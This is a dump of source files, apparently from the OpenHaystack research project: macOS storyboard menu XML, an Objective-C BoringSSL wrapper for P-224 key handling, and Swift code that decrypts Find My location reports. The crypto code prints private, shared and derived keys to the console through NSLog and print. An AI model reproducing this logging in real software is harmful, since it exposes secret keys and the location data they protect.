<action selector="redo:" target="Ady-hI-5gd" id="oIA-Rs-6OD"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="WRV-NI-Exz"/>
<menuItem title="Cut" keyEquivalent="x" id="uRl-iY-unG">
<connections>
<action selector="cut:" target="Ady-hI-5gd" id="YJe-68-I9s"/>
</connections>
</menuItem>
<menuItem title="Copy" keyEquivalent="c" id="x3v-GG-iWU">
<connections>
<action selector="copy:" target="Ady-hI-5gd" id="G1f-GL-Joy"/>
</connections>
</menuItem>
<menuItem title="Paste" keyEquivalent="v" id="gVA-U4-sdL">
<connections>
<action selector="paste:" target="Ady-hI-5gd" id="UvS-8e-Qdg"/>
</connections>
</menuItem>
<menuItem title="Paste and Match Style" keyEquivalent="V" id="WeT-3V-zwk">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="pasteAsPlainText:" target="Ady-hI-5gd" id="cEh-KX-wJQ"/>
</connections>
</menuItem>
<menuItem title="Delete" id="pa3-QI-u2k">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="delete:" target="Ady-hI-5gd" id="0Mk-Ml-PaM"/>
</connections>
</menuItem>
<menuItem title="Select All" keyEquivalent="a" id="Ruw-6m-B2m">
<connections>
<action selector="selectAll:" target="Ady-hI-5gd" id="VNm-Mi-diN"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="uyl-h8-XO2"/>
<menuItem title="Find" id="4EN-yA-p0u">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Find" id="1b7-l0-nxx">
<items>
<menuItem title="Find…" tag="1" keyEquivalent="f" id="Xz5-n4-O0W">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="cD7-Qs-BN4"/>
</connections>
</menuItem>
<menuItem title="Find and Replace…" tag="12" keyEquivalent="f" id="YEy-JH-Tfz">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="WD3-Gg-5AJ"/>
</connections>
</menuItem>
<menuItem title="Find Next" tag="2" keyEquivalent="g" id="q09-fT-Sye">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="NDo-RZ-v9R"/>
</connections>
</menuItem>
<menuItem title="Find Previous" tag="3" keyEquivalent="G" id="OwM-mh-QMV">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="HOh-sY-3ay"/>
</connections>
</menuItem>
<menuItem title="Use Selection for Find" tag="7" keyEquivalent="e" id="buJ-ug-pKt">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="U76-nv-p5D"/>
</connections>
</menuItem>
<menuItem title="Jump to Selection" keyEquivalent="j" id="S0p-oC-mLd">
<connections>
<action selector="centerSelectionInVisibleArea:" target="Ady-hI-5gd" id="IOG-6D-g5B"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Spelling and Grammar" id="Dv1-io-Yv7">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Spelling" id="3IN-sU-3Bg">
<items>
<menuItem title="Show Spelling and Grammar" keyEquivalent=":" id="HFo-cy-zxI">
<connections>
<action selector="showGuessPanel:" target="Ady-hI-5gd" id="vFj-Ks-hy3"/>
</connections>
</menuItem>
<menuItem title="Check Document Now" keyEquivalent=";" id="hz2-CU-CR7">
<connections>
<action selector="checkSpelling:" target="Ady-hI-5gd" id="fz7-VC-reM"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="bNw-od-mp5"/>
<menuItem title="Check Spelling While Typing" id="rbD-Rh-wIN">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleContinuousSpellChecking:" target="Ady-hI-5gd" id="7w6-Qz-0kB"/>
</connections>
</menuItem>
<menuItem title="Check Grammar With Spelling" id="mK6-2p-4JG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleGrammarChecking:" target="Ady-hI-5gd" id="muD-Qn-j4w"/>
</connections>
</menuItem>
<menuItem title="Correct Spelling Automatically" id="78Y-hA-62v">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticSpellingCorrection:" target="Ady-hI-5gd" id="2lM-Qi-WAP"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Substitutions" id="9ic-FL-obx">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Substitutions" id="FeM-D8-WVr">
<items>
<menuItem title="Show Substitutions" id="z6F-FW-3nz">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontSubstitutionsPanel:" target="Ady-hI-5gd" id="oku-mr-iSq"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="gPx-C9-uUO"/>
<menuItem title="Smart Copy/Paste" id="9yt-4B-nSM">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleSmartInsertDelete:" target="Ady-hI-5gd" id="3IJ-Se-DZD"/>
</connections>
</menuItem>
<menuItem title="Smart Quotes" id="hQb-2v-fYv">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticQuoteSubstitution:" target="Ady-hI-5gd" id="ptq-xd-QOA"/>
</connections>
</menuItem>
<menuItem title="Smart Dashes" id="rgM-f4-ycn">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticDashSubstitution:" target="Ady-hI-5gd" id="oCt-pO-9gS"/>
</connections>
</menuItem>
<menuItem title="Smart Links" id="cwL-P1-jid">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticLinkDetection:" target="Ady-hI-5gd" id="Gip-E3-Fov"/>
</connections>
</menuItem>
<menuItem title="Data Detectors" id="tRr-pd-1PS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticDataDetection:" target="Ady-hI-5gd" id="R1I-Nq-Kbl"/>
</connections>
</menuItem>
<menuItem title="Text Replacement" id="HFQ-gK-NFA">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticTextReplacement:" target="Ady-hI-5gd" id="DvP-Fe-Py6"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Transformations" id="2oI-Rn-ZJC">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Transformations" id="c8a-y6-VQd">
<items>
<menuItem title="Make Upper Case" id="vmV-6d-7jI">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="uppercaseWord:" target="Ady-hI-5gd" id="sPh-Tk-edu"/>
</connections>
</menuItem>
<menuItem title="Make Lower Case" id="d9M-CD-aMd">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="lowercaseWord:" target="Ady-hI-5gd" id="iUZ-b5-hil"/>
</connections>
</menuItem>
<menuItem title="Capitalize" id="UEZ-Bs-lqG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="capitalizeWord:" target="Ady-hI-5gd" id="26H-TL-nsh"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Speech" id="xrE-MZ-jX0">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Speech" id="3rS-ZA-NoH">
<items>
<menuItem title="Start Speaking" id="Ynk-f8-cLZ">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="startSpeaking:" target="Ady-hI-5gd" id="654-Ng-kyl"/>
</connections>
</menuItem>
<menuItem title="Stop Speaking" id="Oyz-dy-DGm">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="stopSpeaking:" target="Ady-hI-5gd" id="dX8-6p-jy9"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Format" id="jxT-CU-nIS">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Format" id="GEO-Iw-cKr">
<items>
<menuItem title="Font" id="Gi5-1S-RQB">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Font" systemMenu="font" id="aXa-aM-Jaq">
<items>
<menuItem title="Show Fonts" keyEquivalent="t" id="Q5e-8K-NDq">
<connections>
<action selector="orderFrontFontPanel:" target="YLy-65-1bz" id="WHr-nq-2xA"/>
</connections>
</menuItem>
<menuItem title="Bold" tag="2" keyEquivalent="b" id="GB9-OM-e27">
<connections>
<action selector="addFontTrait:" target="YLy-65-1bz" id="hqk-hr-sYV"/>
</connections>
</menuItem>
<menuItem title="Italic" tag="1" keyEquivalent="i" id="Vjx-xi-njq">
<connections>
<action selector="addFontTrait:" target="YLy-65-1bz" id="IHV-OB-c03"/>
</connections>
</menuItem>
<menuItem title="Underline" keyEquivalent="u" id="WRG-CD-K1S">
<connections>
<action selector="underline:" target="Ady-hI-5gd" id="FYS-2b-JAY"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="5gT-KC-WSO"/>
<menuItem title="Bigger" tag="3" keyEquivalent="+" id="Ptp-SP-VEL">
<connections>
<action selector="modifyFont:" target="YLy-65-1bz" id="Uc7-di-UnL"/>
</connections>
</menuItem>
<menuItem title="Smaller" tag="4" keyEquivalent="-" id="i1d-Er-qST">
<connections>
<action selector="modifyFont:" target="YLy-65-1bz" id="HcX-Lf-eNd"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="kx3-Dk-x3B"/>
<menuItem title="Kern" id="jBQ-r6-VK2">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Kern" id="tlD-Oa-oAM">
<items>
<menuItem title="Use Default" id="GUa-eO-cwY">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="useStandardKerning:" target="Ady-hI-5gd" id="6dk-9l-Ckg"/>
</connections>
</menuItem>
<menuItem title="Use None" id="cDB-IK-hbR">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="turnOffKerning:" target="Ady-hI-5gd" id="U8a-gz-Maa"/>
</connections>
</menuItem>
<menuItem title="Tighten" id="46P-cB-AYj">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="tightenKerning:" target="Ady-hI-5gd" id="hr7-Nz-8ro"/>
</connections>
</menuItem>
<menuItem title="Loosen" id="ogc-rX-tC1">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="loosenKerning:" target="Ady-hI-5gd" id="8i4-f9-FKE"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Ligatures" id="o6e-r0-MWq">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Ligatures" id="w0m-vy-SC9">
<items>
<menuItem title="Use Default" id="agt-UL-0e3">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="useStandardLigatures:" target="Ady-hI-5gd" id="7uR-wd-Dx6"/>
</connections>
</menuItem>
<menuItem title="Use None" id="J7y-lM-qPV">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="turnOffLigatures:" target="Ady-hI-5gd" id="iX2-gA-Ilz"/>
</connections>
</menuItem>
<menuItem title="Use All" id="xQD-1f-W4t">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="useAllLigatures:" target="Ady-hI-5gd" id="KcB-kA-TuK"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Baseline" id="OaQ-X3-Vso">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Baseline" id="ijk-EB-dga">
<items>
<menuItem title="Use Default" id="3Om-Ey-2VK">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="unscript:" target="Ady-hI-5gd" id="0vZ-95-Ywn"/>
</connections>
</menuItem>
<menuItem title="Superscript" id="Rqc-34-cIF">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="superscript:" target="Ady-hI-5gd" id="3qV-fo-wpU"/>
</connections>
</menuItem>
<menuItem title="Subscript" id="I0S-gh-46l">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="subscript:" target="Ady-hI-5gd" id="Q6W-4W-IGz"/>
</connections>
</menuItem>
<menuItem title="Raise" id="2h7-ER-AoG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="raiseBaseline:" target="Ady-hI-5gd" id="4sk-31-7Q9"/>
</connections>
</menuItem>
<menuItem title="Lower" id="1tx-W0-xDw">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="lowerBaseline:" target="Ady-hI-5gd" id="OF1-bc-KW4"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem isSeparatorItem="YES" id="Ndw-q3-faq"/>
<menuItem title="Show Colors" keyEquivalent="C" id="bgn-CT-cEk">
<connections>
<action selector="orderFrontColorPanel:" target="Ady-hI-5gd" id="mSX-Xz-DV3"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="iMs-zA-UFJ"/>
<menuItem title="Copy Style" keyEquivalent="c" id="5Vv-lz-BsD">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="copyFont:" target="Ady-hI-5gd" id="GJO-xA-L4q"/>
</connections>
</menuItem>
<menuItem title="Paste Style" keyEquivalent="v" id="vKC-jM-MkH">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="pasteFont:" target="Ady-hI-5gd" id="JfD-CL-leO"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Text" id="Fal-I4-PZk">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Text" id="d9c-me-L2H">
<items>
<menuItem title="Align Left" keyEquivalent="{" id="ZM1-6Q-yy1">
<connections>
<action selector="alignLeft:" target="Ady-hI-5gd" id="zUv-R1-uAa"/>
</connections>
</menuItem>
<menuItem title="Center" keyEquivalent="|" id="VIY-Ag-zcb">
<connections>
<action selector="alignCenter:" target="Ady-hI-5gd" id="spX-mk-kcS"/>
</connections>
</menuItem>
<menuItem title="Justify" id="J5U-5w-g23">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="alignJustified:" target="Ady-hI-5gd" id="ljL-7U-jND"/>
</connections>
</menuItem>
<menuItem title="Align Right" keyEquivalent="}" id="wb2-vD-lq4">
<connections>
<action selector="alignRight:" target="Ady-hI-5gd" id="r48-bG-YeY"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="4s2-GY-VfK"/>
<menuItem title="Writing Direction" id="H1b-Si-o9J">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Writing Direction" id="8mr-sm-Yjd">
<items>
<menuItem title="Paragraph" enabled="NO" id="ZvO-Gk-QUH">
<modifierMask key="keyEquivalentModifierMask"/>
</menuItem>
<menuItem id="YGs-j5-SAR">
<string key="title"> Default</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeBaseWritingDirectionNatural:" target="Ady-hI-5gd" id="qtV-5e-UBP"/>
</connections>
</menuItem>
<menuItem id="Lbh-J2-qVU">
<string key="title"> Left to Right</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeBaseWritingDirectionLeftToRight:" target="Ady-hI-5gd" id="S0X-9S-QSf"/>
</connections>
</menuItem>
<menuItem id="jFq-tB-4Kx">
<string key="title"> Right to Left</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeBaseWritingDirectionRightToLeft:" target="Ady-hI-5gd" id="5fk-qB-AqJ"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="swp-gr-a21"/>
<menuItem title="Selection" enabled="NO" id="cqv-fj-IhA">
<modifierMask key="keyEquivalentModifierMask"/>
</menuItem>
<menuItem id="Nop-cj-93Q">
<string key="title"> Default</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeTextWritingDirectionNatural:" target="Ady-hI-5gd" id="lPI-Se-ZHp"/>
</connections>
</menuItem>
<menuItem id="BgM-ve-c93">
<string key="title"> Left to Right</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeTextWritingDirectionLeftToRight:" target="Ady-hI-5gd" id="caW-Bv-w94"/>
</connections>
</menuItem>
<menuItem id="RB4-Sm-HuC">
<string key="title"> Right to Left</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeTextWritingDirectionRightToLeft:" target="Ady-hI-5gd" id="EXD-6r-ZUu"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem isSeparatorItem="YES" id="fKy-g9-1gm"/>
<menuItem title="Show Ruler" id="vLm-3I-IUL">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleRuler:" target="Ady-hI-5gd" id="FOx-HJ-KwY"/>
</connections>
</menuItem>
<menuItem title="Copy Ruler" keyEquivalent="c" id="MkV-Pr-PK5">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="copyRuler:" target="Ady-hI-5gd" id="71i-fW-3W2"/>
</connections>
</menuItem>
<menuItem title="Paste Ruler" keyEquivalent="v" id="LVM-kO-fVI">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="pasteRuler:" target="Ady-hI-5gd" id="cSh-wd-qM2"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="View" id="H8h-7b-M4v">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="View" id="HyV-fh-RgO">
<items>
<menuItem title="Show Toolbar" keyEquivalent="t" id="snW-S8-Cw5">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="toggleToolbarShown:" target="Ady-hI-5gd" id="BXY-wc-z0C"/>
</connections>
</menuItem>
<menuItem title="Customize Toolbar…" id="1UK-8n-QPP">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="runToolbarCustomizationPalette:" target="Ady-hI-5gd" id="pQI-g3-MTW"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="hB3-LF-h0Y"/>
<menuItem title="Show Sidebar" keyEquivalent="s" id="kIP-vf-haE">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="toggleSidebar:" target="Ady-hI-5gd" id="iwa-gc-5KM"/>
</connections>
</menuItem>
<menuItem title="Enter Full Screen" keyEquivalent="f" id="4J7-dP-txa">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="toggleFullScreen:" target="Ady-hI-5gd" id="dU3-MA-1Rq"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Window" id="aUF-d1-5bR">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Window" systemMenu="window" id="Td7-aD-5lo">
<items>
<menuItem title="Minimize" keyEquivalent="m" id="OY7-WF-poV">
<connections>
<action selector="performMiniaturize:" target="Ady-hI-5gd" id="VwT-WD-YPe"/>
</connections>
</menuItem>
<menuItem title="Zoom" id="R4o-n2-Eq4">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="performZoom:" target="Ady-hI-5gd" id="DIl-cC-cCs"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="eu3-7i-yIM"/>
<menuItem title="Bring All to Front" id="LE2-aR-0XJ">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="arrangeInFront:" target="Ady-hI-5gd" id="DRN-fu-gQh"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Help" id="wpr-3q-Mcd">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Help" systemMenu="help" id="F2S-fz-NVQ">
<items>
<menuItem title="OFFetchReports Help" keyEquivalent="?" id="FKE-Sm-Kum">
<connections>
<action selector="showHelp:" target="Ady-hI-5gd" id="y7X-2Q-9no"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
</connections>
</application>
<customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModuleProvider="target"/>
<customObject id="YLy-65-1bz" customClass="NSFontManager"/>
<customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="75" y="0.0"/>
</scene>
</scenes>
</document>

View File

@@ -0,0 +1,29 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
@interface BoringSSL : NSObject
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint;
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
/// @returns The public key in a compressed format using 29 bytes. The first byte is used for identifying if its odd or even.
/// For OF the first byte has to be dropped
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData;
/// Generate a new EC private key and exports it as data
+ (NSData * _Nullable) generateNewPrivateKey;
@end
NS_ASSUME_NONNULL_END

View File

@@ -0,0 +1,175 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import "BoringSSL.h"
#include <CNIOBoringSSL.h>
#include <CNIOBoringSSL_ec.h>
#include <CNIOBoringSSL_ec_key.h>
#include <CNIOBoringSSL_evp.h>
#include <CNIOBoringSSL_hkdf.h>
#include <CNIOBoringSSL_pkcs7.h>
@implementation BoringSSL
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint {
NSLog(@"Private key %@", [privateKey base64EncodedStringWithOptions:0]);
NSLog(@"Ephemeral key %@", [ephemeralKeyPoint base64EncodedStringWithOptions:0]);
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKey group:curve];
const EC_POINT *genPubKey = EC_KEY_get0_public_key(key);
[self printPoint:genPubKey withGroup:curve];
EC_POINT *publicKey = EC_POINT_new(curve);
size_t load_success = EC_POINT_oct2point(curve, publicKey, ephemeralKeyPoint.bytes, ephemeralKeyPoint.length, NULL);
if (load_success == 0) {
NSLog(@"Failed loading public key!");
return nil;
}
NSMutableData *sharedKey = [[NSMutableData alloc] initWithLength:28];
int res = ECDH_compute_key(sharedKey.mutableBytes, sharedKey.length, publicKey, key, nil);
if (res < 1) {
NSLog(@"Failed with error: %d", res);
BIO *bio = BIO_new(BIO_s_mem());
ERR_print_errors(bio);
char *buf;
size_t len = BIO_get_mem_data(bio, &buf);
NSLog(@"Generating shared key failed %s", buf);
BIO_free(bio);
}
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
return sharedKey;
}
+ (EC_POINT * _Nullable) loadEllipticCurvePublicBytesWith: (EC_GROUP *) group andPointBytes: (NSData *) pointBytes {
EC_POINT* point = EC_POINT_new(group);
//Create big number context
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
//Public key will be stored in point
int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
[self printPoint:point withGroup:group];
//Free the big numbers
BN_CTX_free(ctx);
if (res != 1) {
//Failed
return nil;
}
return point;
}
/// Get the private key on the curve from the private key bytes
/// @param privateKeyData NSData representing the private key
/// @param group The EC group representing the curve to use
+ (EC_KEY * _Nullable) deriveEllipticCurvePrivateKey: (NSData *)privateKeyData group: (EC_GROUP *) group {
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
EC_POINT *point = EC_POINT_new(group);
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
if (res != 1) {
NSLog(@"Failed");
return nil;
}
res = EC_KEY_set_public_key(key, point);
if (res != 1) {
NSLog(@"Failed");
return nil;
}
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
EC_KEY_set_private_key(key, privateKeyNum);
//Free the big numbers
BN_CTX_free(ctx);
return key;
}
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData {
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
size_t keySize = 28 + 1;
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
if (size == 0) {
return nil;
}
return publicKeyBytes;
}
+ (NSData * _Nullable)generateNewPrivateKey {
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
if (EC_KEY_generate_key_fips(key) == 0) {
return nil;
}
const BIGNUM *privateKey = EC_KEY_get0_private_key(key);
size_t keySize = BN_num_bytes(privateKey);
//Convert to bytes
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
if (size == 0) {
return nil;
}
return privateKeyBytes;
}
+ (void) printPoint: (const EC_POINT *)point withGroup:(EC_GROUP *)group {
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
size_t len = pointData.length;
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
size_t res = EC_POINT_point2oct(group, point, POINT_CONVERSION_UNCOMPRESSED, pointData.mutableBytes, len, ctx);
//Free the big numbers
BN_CTX_free(ctx);
NSData *written = [[NSData alloc] initWithBytes:pointData.bytes length:res];
NSLog(@"Point data is: %@", [written base64EncodedStringWithOptions:0]);
}
@end

View File

@@ -0,0 +1,15 @@
//
// Bridging-Header.h
// OFReadKeys
//
// Created by Alex - SEEMOO on 04.03.21.
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
//
#ifndef Bridging_Header_h
#define Bridging_Header_h
#import "BoringSSL.h"
#import "ReportsFetcher.h"
#endif /* Bridging_Header_h */

View File

@@ -0,0 +1,23 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import SwiftUI
struct ContentView: View {
var body: some View {
Text("Hello, World!")
.frame(maxWidth: .infinity, maxHeight: .infinity)
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
}

View File

@@ -0,0 +1,106 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import CryptoKit
import Foundation
struct DecryptReports {
/// Decrypt a find my report with the according key
/// - Parameters:
/// - report: An encrypted FindMy Report
/// - key: A FindMyKey
/// - Throws: Errors if the decryption fails
/// - Returns: An decrypted location report
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
let payloadData = report.payload
let keyData = key.privateKey
let privateKey = keyData
let ephemeralKey = payloadData.subdata(in: 5..<62)
guard
let sharedKey = BoringSSL.deriveSharedKey(
fromPrivateKey: privateKey,
andEphemeralKey: ephemeralKey)
else {
throw FindMyError.decryptionError(description: "Failed generating shared key")
}
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
print("Derived key \(derivedKey.base64EncodedString())")
let encData = payloadData.subdata(in: 62..<72)
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
let decryptedContent = try self.decryptPayload(
payload: encData, symmetricKey: derivedKey, tag: tag)
let locationReport = self.decode(content: decryptedContent, report: report)
print(locationReport)
return locationReport
}
/// Decrypt the payload
/// - Parameters:
/// - payload: Encrypted payload part
/// - symmetricKey: Symmetric key
/// - tag: AES GCM tag
/// - Throws: AES GCM error
/// - Returns: Decrypted error
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
let decryptionKey = symmetricKey.subdata(in: 0..<16)
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
print("Decryption Key \(decryptionKey.base64EncodedString())")
print("IV \(iv.base64EncodedString())")
let sealedBox = try AES.GCM.SealedBox(
nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
let symKey = SymmetricKey(data: decryptionKey)
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
return decrypted
}
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
var longitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
longitude = Int32(bigEndian: longitude)
var latitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
latitude = Int32(bigEndian: latitude)
var accuracy: UInt8 = 0
